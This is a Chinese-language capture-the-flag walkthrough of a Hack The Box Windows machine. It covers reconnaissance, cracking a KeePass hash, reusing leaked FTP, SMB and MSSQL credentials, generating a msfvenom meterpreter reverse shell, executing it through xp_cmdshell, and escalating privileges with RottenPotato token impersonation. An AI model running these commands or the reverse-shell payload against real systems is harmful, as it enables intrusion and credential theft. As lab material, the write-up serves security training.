基础信息
简介:Hack The Box是一个在线渗透测试平台。可以帮助你提升渗透测试技能和黑盒测试技能,平台环境都是模拟的真实环境,有助于自己更好的适应在真实环境的渗透。
链接:https://www.hackthebox.eu/home/machines/profile/113
描述:注:没有网络安全就没有国家安全,以巩固国家安全防护为由对于该计算机进行渗透,所有行为都是通过平台授权允许情况进行渗透的。我将使用Kali Linux作为解决该HTB的攻击者机器。这里使用的技术仅用于学习教育目的,如果列出的技术用于其他任何目标,概不负责。
一、信息收集
1、靶机IP
通过基础信息知道靶机IP为:10.10.10.59
2、开放端口与服务
nmap -sS -sV -A -O 10.10.10.59 -o xb.log
通过nmap扫描发现开放了许多服务,比较重要的就是80端口的iis服务与smb服务
3、网站信息收集
访问80端口看看能否获取到有用的信息
通过查看前端源代码没有发现可以利用的信息使用gobuster对该端口进行目录扫描
gobuster dir -w /usr/share/dirb/wordlists/vulns/sharepoint.txt -u http://10.10.10.59/
由于目录较多这里只列出了有用的目录/sitedirectory/_layouts/viewlsts.aspx ,shared documents/forms/allitems.aspx
查看shared documents/forms/allitems.aspx
发现存在ftp-details文件将其下载到kali中进行查看
获得密码:UTDRSCH53c"$6hys
现在还缺少用户名,接下来对用户名进行信息收集查看/sitedirectory/_layouts/viewlsts.aspx查看Site Pages
注:再点击Site Pages 的时候服务器会重写URL在正确的地址前加上_layouts/15/start.aspx#/导致我们无法查看该链接
这里我们只需要删除_layouts/15/start.aspx#/就可以正常查看了
在这里我们找到了用户名:ftp_user通过nmap扫描发现开放了21端口
通过ftp:连接
用户:ftp_user
密码:UTDRSCH53c"$6hys
二、漏洞探测与利用
在Tim用户下发现几个有用的文件
将它们下载下来
我们知道kdbx是哈希密码,利用keepass2john编译,然后john来爆破即可获得密码
keepass2john tim.kdbx > Tim
hashcat -m 13400 Tim.txt /usr/share/wordlists/rockyou.txt
获得密码:simplementeyo
将Tim用户挂载到本地磁盘
curlftpfs 'ftp://ftp_user:UTDRSCH53c"$6hys@10.10.10.59' /mnt/ftp
使用 keepassxc连接数据库获取到用户:Finance
用户:Finance
密码:Acc0unting
使用 Finane 访问 SMB进行信息收集
smbclient -U Finance -L 10.10.10.59
我们可以访问ACCT
smbclient -U Finance //10.10.10.59/ACCT
获得MSSQL的账号与密码
db: sa
pass: YE%TJC%&HYbe5Nw
在\zz_Migration\Binaries\New folder\ 发现tester.exe使用strings查看tester.exe 获取到账号与密码
UID=sa
PWD=GWE3V65#6KFH93@4GWTG2G
三、提权
1、使用msfvenom生成木马文件获取shell
msfvenom -p windows/x64/meterpreter/reverse_tcp LHOST=10.10.14.15 LPORT=5555 -f psh-reflection -o xiaobai.ps1
通过ftp反向上传xiaobai.ps1
msf开启监听
使用auxiliary/admin/mssql/mssql_exec执行命令
msf6 > use auxiliary/admin/mssql/mssql_exec
msf6 auxiliary(admin/mssql/mssql_exec) > show options
Module options (auxiliary/admin/mssql/mssql_exec):
Name Current Setting Required Description
---- --------------- -------- -----------
CMD cmd.exe /c echo OWNED > C:\owned.exe no Command to execute
PASSWORD no The password for the specified username
RHOSTS yes The target host(s), range CIDR identifier, or hosts file with syntax 'file:
<path>'
RPORT 1433 yes The target port (TCP)
TDSENCRYPTION false yes Use TLS/SSL for TDS data "Force Encryption"
TECHNIQUE xp_cmdshell yes Technique to use for command execution (Accepted: xp_cmdshell, sp_oacreate)
USERNAME sa no The username to authenticate as
USE_WINDOWS_AUTHENT false yes Use windows authentification (requires DOMAIN option set)
msf6 auxiliary(admin/mssql/mssql_exec) > set RHOSTS 10.10.10.59
RHOSTS => 10.10.10.59
msf6 auxiliary(admin/mssql/mssql_exec) > set PASSWORD GWE3V65#6KFH93@4GWTG2G
PASSWORD => GWE3V65#6KFH93@4GWTG2G
msf6 auxiliary(admin/mssql/mssql_exec) > set CMD "powershell -ExecutionPolicy bypass -NoExit -File C:\\FTP\\Intranet\\xiaobai.ps1"
CMD => powershell -ExecutionPolicy bypass -NoExit -File C:\FTP\Intranet\xiaobai.ps1
msf6 auxiliary(admin/mssql/mssql_exec) > run
成功获取shell
2、提权
使用 Incognito模块 和 RottenPotato进行提权
通过getprivs命令查看我们可以使用的特权
执行命令进行提权
execute -Hc -f C:\\Users\\Sarah\\Desktop\\rottenpotato.exe 执行rottenpotato.exe
list_tokens -u 查看并发现存在有效的管理员令牌
impersonate_token "NT AUTHORITY\\SYSTEM" 模拟令牌获取权限
获取到root.txt
总结
个人感觉该靶机与真实环境很相似,在渗透的过程中需要进行大量的信息收集筛选出有用的信息,每一个步骤都紧密相连,十分的考验个人的能力与耐心,是一个质量很好的靶机,也希望这篇文章对大家有所帮助共同进步。
如需授权、对文章有疑问或需删除稿件,请联系 FreeBuf 客服小蜜蜂(微信:freebee1024)